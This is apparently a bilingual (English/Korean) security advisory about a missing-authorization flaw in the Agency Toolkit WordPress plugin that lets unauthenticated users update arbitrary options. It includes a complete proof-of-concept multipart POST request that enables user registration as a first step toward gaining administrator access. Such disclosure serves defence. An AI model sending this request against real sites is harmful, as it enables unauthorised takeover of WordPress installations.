
Agency Toolkit <= 1.0.23 - Missing Authorization to Unauthenticated Arbitrary Options Update
Agency Toolkit <= 1.0.23 - 인가 누락으로 인한 비인증 임의 옵션 업데이트
WordPress용 Agency Toolkit 플러그인은 1.0.23 이하의 모든 버전에서 'agency_toolkit_import' 액션에 대한 권한(capability) 검사가 누락되어, 권한 상승으로 이어질 수 있는 무단 데이터 수정에 취약합니다. 이로 인해 인증되지 않은 공격자가 WordPress 사이트의 임의 옵션을 업데이트할 수 있습니다. 이를 악용하여 등록 기본 역할을 관리자(administrator)로 변경하고 사용자 등록을 활성화하면, 공격자는 취약한 사이트에 대한 관리자 사용자 액세스 권한을 얻을 수 있습니다.
POST /wp-admin/admin.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
Content-Length: 485
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="agency_toolkit_import"
1
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="import_file"; filename="settings.json"
Content-Type: application/json
[
{
"option_name": "users_can_register",
"option_value": "1"
}
]
------WebKitFormBoundaryABC123--